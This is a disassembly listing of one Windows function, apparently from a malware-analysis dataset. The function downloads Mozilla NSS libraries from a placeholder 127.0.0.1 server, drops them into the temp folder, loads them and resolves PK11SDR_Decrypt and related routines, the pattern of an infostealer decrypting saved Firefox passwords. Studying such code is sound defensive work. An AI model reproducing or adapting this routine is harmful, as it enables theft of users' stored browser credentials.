Function at 0x40e5d0
Capabilities:
Check internet connectivity via wininet
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe3c
mov eax, dword [0x423b1c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0xe0c]
mov ebx, ecx
push 0
push eax
call fcn.00401027
add esp, 0xc
lea eax, [ebp - 0xe0c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp dword [ebp + 0xc], 1
mov edi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
jne 0x40eac2
cmp dword [ebx + 0xb0], 0
je 0x40e65a
cmp dword [ebx + 0xa4], 0
je 0x40e65a
cmp dword [ebx + 0xa8], 0
je 0x40e65a
cmp dword [ebx + 0xb4], 0
je 0x40e65a
cmp dword [ebx + 0x9c], 0
je 0x40e65a
cmp dword [ebx + 0xac], 0
jne 0x40eac2
push 0x100
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.00401027
push 0x100
lea eax, [ebp - 0x204]
push 0
push eax
call fcn.00401027
push 0x100
lea eax, [ebp - 0x604]
push 0
push eax
call fcn.00401027
push 0x100
lea eax, [ebp - 0x404]
push 0
push eax
call fcn.00401027
push 0x100
lea eax, [ebp - 0xc04]
push 0
push eax
call fcn.00401027
push 0x100
lea eax, [ebp - 0xa04]
push 0
push eax
call fcn.00401027
add esp, 0x48
mov dword [ebp - 0xe2c], 0
mov dword [ebp - 0xe28], 0
mov dword [ebp - 0xe34], 0
mov dword [ebp - 0xe38], 0
push 0
push 1
push str.http:__www.google.com
mov dword [ebp - 0xe3c], 0
mov dword [ebp - 0xe30], 0
call dword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
je 0x40ed94
lea eax, [ebp - 0xe2c]
push eax
push str.http:__127.0.0.1_dll_softokn3.dll
call fcn.0041afa0
mov dword [ebp - 0xe1c], eax
lea eax, [ebp - 0xe28]
push eax
push str.http:__127.0.0.1_dll_msvcp140.dll
call fcn.0041afa0
mov dword [ebp - 0xe24], eax
lea eax, [ebp - 0xe34]
push eax
push str.http:__127.0.0.1_dll_mozglue.dll
call fcn.0041afa0
mov dword [ebp - 0xe20], eax
lea eax, [ebp - 0xe38]
push eax
push str.http:__127.0.0.1_dll_vcruntime140.dll
call fcn.0041afa0
mov dword [ebp - 0xe14], eax
lea eax, [ebp - 0xe3c]
push eax
push str.http:__127.0.0.1_dll_freebl3.dll
call fcn.0041afa0
mov dword [ebp - 0xe18], eax
lea eax, [ebp - 0xe30]
push eax
push str.http:__127.0.0.1_dll_nss3.dll
call fcn.0041afa0
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
add esp, 0x30
mov dword [ebp - 0xe10], eax
lea eax, [ebp - 0xa04]
push eax
push 0x100
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0xa04]
push str.softokn3.dll
push eax
call esi
lea eax, [ebp - 0x204]
push eax
push 0x100
call edi
push str.msvcp140.dll
lea eax, [ebp - 0x204]
push eax
call esi
lea eax, [ebp - 0x604]
push eax
push 0x100
call edi
push str.mozglue.dll
lea eax, [ebp - 0x604]
push eax
call esi
lea eax, [ebp - 0x404]
push eax
push 0x100
call edi
push str.vcruntime140.dll
lea eax, [ebp - 0x404]
push eax
call esi
lea eax, [ebp - 0xc04]
push eax
push 0x100
call edi
push str.freebl3.dll
lea eax, [ebp - 0xc04]
push eax
call esi
lea eax, [ebp - 0x804]
push eax
push 0x100
call edi
push str.nss3.dll
lea eax, [ebp - 0x804]
push eax
call esi
mov ecx, dword [ebp - 0xe1c]
test ecx, ecx
je 0x40ea72
mov esi, dword [ebp - 0xe24]
test esi, esi
je 0x40ea72
mov edi, dword [ebp - 0xe20]
test edi, edi
je 0x40ea72
mov eax, dword [ebp - 0xe14]
test eax, eax
je 0x40ea72
mov eax, dword [ebp - 0xe18]
test eax, eax
je 0x40ea72
mov eax, dword [ebp - 0xe10]
test eax, eax
je 0x40ea72
cmp byte [ecx], 0x4d
jne 0x40e8da
cmp byte [ecx + 1], 0x5a
jne 0x40e8da
push dword [ebp - 0xe2c]
lea eax, [ebp - 0xa04]
push ecx
push eax
call fcn.0041af50
add esp, 0xc
jmp 0x40e8e4
mov dword [ebp - 0xe1c], 0
cmp byte [esi], 0x4d
jne 0x40e907
cmp byte [esi + 1], 0x5a
jne 0x40e907
push dword [ebp - 0xe28]
lea eax, [ebp - 0x204]
push esi
push eax
call fcn.0041af50
add esp, 0xc
jmp 0x40e90f
xor esi, esi
mov dword [ebp - 0xe24], esi
cmp byte [edi], 0x4d
jne 0x40e932
cmp byte [edi + 1], 0x5a
jne 0x40e932
push dword [ebp - 0xe34]
lea eax, [ebp - 0x604]
push edi
push eax
call fcn.0041af50
add esp, 0xc
jmp 0x40e93c
mov dword [ebp - 0xe20], 0
mov edi, dword [ebp - 0xe14]
cmp byte [edi], 0x4d
jne 0x40e965
cmp byte [edi + 1], 0x5a
jne 0x40e965
push dword [ebp - 0xe38]
lea eax, [ebp - 0x404]
push edi
push eax
call fcn.0041af50
add esp, 0xc
jmp 0x40e96f
mov dword [ebp - 0xe14], 0
mov edi, dword [ebp - 0xe18]
cmp byte [edi], 0x4d
jne 0x40e998
cmp byte [edi + 1], 0x5a
jne 0x40e998
push dword [ebp - 0xe3c]
lea eax, [ebp - 0xc04]
push edi
push eax
call fcn.0041af50
add esp, 0xc
jmp 0x40e9a2
mov dword [ebp - 0xe18], 0
mov edi, dword [ebp - 0xe10]
cmp byte [edi], 0x4d
jne 0x40e9cb
cmp byte [edi + 1], 0x5a
jne 0x40e9cb
push dword [ebp - 0xe30]
lea eax, [ebp - 0x804]
push edi
push eax
call fcn.0041af50
add esp, 0xc
jmp 0x40e9d5
mov dword [ebp - 0xe10], 0
cmp dword [ebp - 0xe1c], 0
je 0x40ea72
test esi, esi
je 0x40ea72
mov edi, dword [ebp - 0xe20]
test edi, edi
je 0x40ea72
mov eax, dword [ebp - 0xe14]
test eax, eax
je 0x40ea72
mov eax, dword [ebp - 0xe18]
test eax, eax
je 0x40ea72
mov eax, dword [ebp - 0xe10]
test eax, eax
je 0x40ea72
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x204]
push eax
call esi
mov dword [ebx + 0xa4], eax
lea eax, [ebp - 0x404]
push eax
call esi
mov dword [ebx + 0xb4], eax
lea eax, [ebp - 0x604]
push eax
call esi
mov dword [ebx + 0xa8], eax
lea eax, [ebp - 0x804]
push eax
call esi
mov dword [ebx + 0xac], eax
lea eax, [ebp - 0xa04]
push eax
call esi
mov dword [ebx + 0xb0], eax
lea eax, [ebp - 0xc04]
push eax
call esi
mov dword [ebx + 0x9c], eax
push dword [ebp - 0xe1c]
call fcn.00407e60
push dword [ebp - 0xe24]
call fcn.00407e60
push dword [ebp - 0xe20]
call fcn.00407e60
push dword [ebp - 0xe14]
call fcn.00407e60
push dword [ebp - 0xe18]
call fcn.00407e60
push dword [ebp - 0xe10]
call fcn.00407e60
mov edi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
add esp, 0x18
jmp 0x40ed94
lea ecx, [ebp + 8]
call fcn.00403320
push eax
call edi
push 0x41f414
lea ecx, [ebp + 8]
call fcn.00403780
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0xe2c]
call fcn.00403c50
push str.nss3.dll
lea ecx, [ebp - 0xe2c]
call fcn.00403780
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0xe1c]
call fcn.00403c50
push str.msvcr120.dll
lea ecx, [ebp - 0xe1c]
call fcn.00403780
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0xe20]
call fcn.00403c50
push str.msvcp120.dll
lea ecx, [ebp - 0xe20]
call fcn.00403780
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0xe28]
call fcn.00403c50
push str.mozglue.dll
lea ecx, [ebp - 0xe28]
call fcn.00403780
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0xe30]
call fcn.00403c50
push str.softokn3.dll
lea ecx, [ebp - 0xe30]
call fcn.00403780
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0xe14]
call fcn.00403c50
push str.vcruntime140.dll
lea ecx, [ebp - 0xe14]
call fcn.00403780
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0xe18]
call fcn.00403c50
push str.msvcp
lea ecx, [ebp - 0xe18]
call fcn.00403780
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0xe24]
call fcn.00403c50
push str.msvcr
lea ecx, [ebp - 0xe24]
call fcn.00403780
mov esi, 0x5a
nop word [eax + eax]
lea eax, [ebp - 0xe18]
push eax
lea ecx, [ebp - 0xe10]
call fcn.00403c50
push 0x41fd80
push esi
lea ecx, [ebp - 0xe10]
call fcn.00403a50
mov ecx, eax
call fcn.00403780
lea eax, [ebp - 0xe10]
push eax
call fcn.00413c00
add esp, 4
test eax, eax
jne 0x40ec35
lea ecx, [ebp - 0xe10]
add esi, 0xa
call fcn.00403ca0
cmp esi, 0x96
jne 0x40ebe0
jmp 0x40ec52
lea eax, [ebp - 0xe10]
push eax
lea ecx, [ebp - 0xe20]
call fcn.00403b40
lea ecx, [ebp - 0xe10]
call fcn.00403ca0
mov esi, 0x5a
nop word [eax + eax]
lea eax, [ebp - 0xe24]
push eax
lea ecx, [ebp - 0xe10]
call fcn.00403c50
push 0x41fd80
push esi
lea ecx, [ebp - 0xe10]
call fcn.00403a50
mov ecx, eax
call fcn.00403780
lea eax, [ebp - 0xe10]
push eax
call fcn.00413c00
add esp, 4
test eax, eax
jne 0x40ecb5
lea ecx, [ebp - 0xe10]
add esi, 0xa
call fcn.00403ca0
cmp esi, 0x96
jne 0x40ec60
jmp 0x40ecd2
lea eax, [ebp - 0xe10]
push eax
lea ecx, [ebp - 0xe1c]
call fcn.00403b40
lea ecx, [ebp - 0xe10]
call fcn.00403ca0
lea ecx, [ebp - 0xe14]
call fcn.00403320
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call esi
lea ecx, [ebp - 0xe1c]
mov dword [ebx + 0xb4], eax
call fcn.00403320
push eax
call esi
lea ecx, [ebp - 0xe20]
mov dword [ebx + 0xa0], eax
call fcn.00403320
push eax
call esi
lea ecx, [ebp - 0xe28]
mov dword [ebx + 0xa4], eax
call fcn.00403320
push eax
call esi
lea ecx, [ebp - 0xe2c]
mov dword [ebx + 0xa8], eax
call fcn.00403320
push eax
call esi
lea ecx, [ebp - 0xe24]
mov dword [ebx + 0xac], eax
call fcn.00403ca0
lea ecx, [ebp - 0xe18]
call fcn.00403ca0
lea ecx, [ebp - 0xe14]
call fcn.00403ca0
lea ecx, [ebp - 0xe30]
call fcn.00403ca0
lea ecx, [ebp - 0xe28]
call fcn.00403ca0
lea ecx, [ebp - 0xe20]
call fcn.00403ca0
lea ecx, [ebp - 0xe1c]
call fcn.00403ca0
lea ecx, [ebp - 0xe2c]
call fcn.00403ca0
mov eax, dword [ebx + 0xac]
test eax, eax
jne 0x40eda5
xor esi, esi
jmp 0x40ee74
push 0
push str.NSS_Init
push eax
call fcn.004159e0
push 0
push str.PK11_GetInternalKeySlot
push dword [ebx + 0xac]
mov dword [ebx + 0x60], eax
call fcn.004159e0
push 0
push str.PK11_Authenticate
push dword [ebx + 0xac]
mov dword [ebx + 0x78], eax
call fcn.004159e0
push 0
push str.PK11SDR_Decrypt
push dword [ebx + 0xac]
mov dword [ebx + 0x74], eax
call fcn.004159e0
push 0
push str.NSSBase64_DecodeBuffer
push dword [ebx + 0xac]
mov dword [ebx + 0x68], eax
call fcn.004159e0
push 0
push str.PK11_CheckUserPassword
push dword [ebx + 0xac]
mov dword [ebx + 0x6c], eax
call fcn.004159e0
add esp, 0x48
mov dword [ebx + 0x70], eax
push 0
push str.NSS_Shutdown
push dword [ebx + 0xac]
call fcn.004159e0
push 0
push str.PK11_FreeSlot
push dword [ebx + 0xac]
mov dword [ebx + 0x64], eax
call fcn.004159e0
push 0
push str.PR_GetError
push dword [ebx + 0xac]
mov dword [ebx + 0x7c], eax
call fcn.004159e0
add esp, 0x24
mov dword [ebx + 0x80], eax
lea eax, [ebp - 0xe0c]
push eax
call edi
mov esi, 1
lea ecx, [ebp + 8]
call fcn.00403ca0
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret 8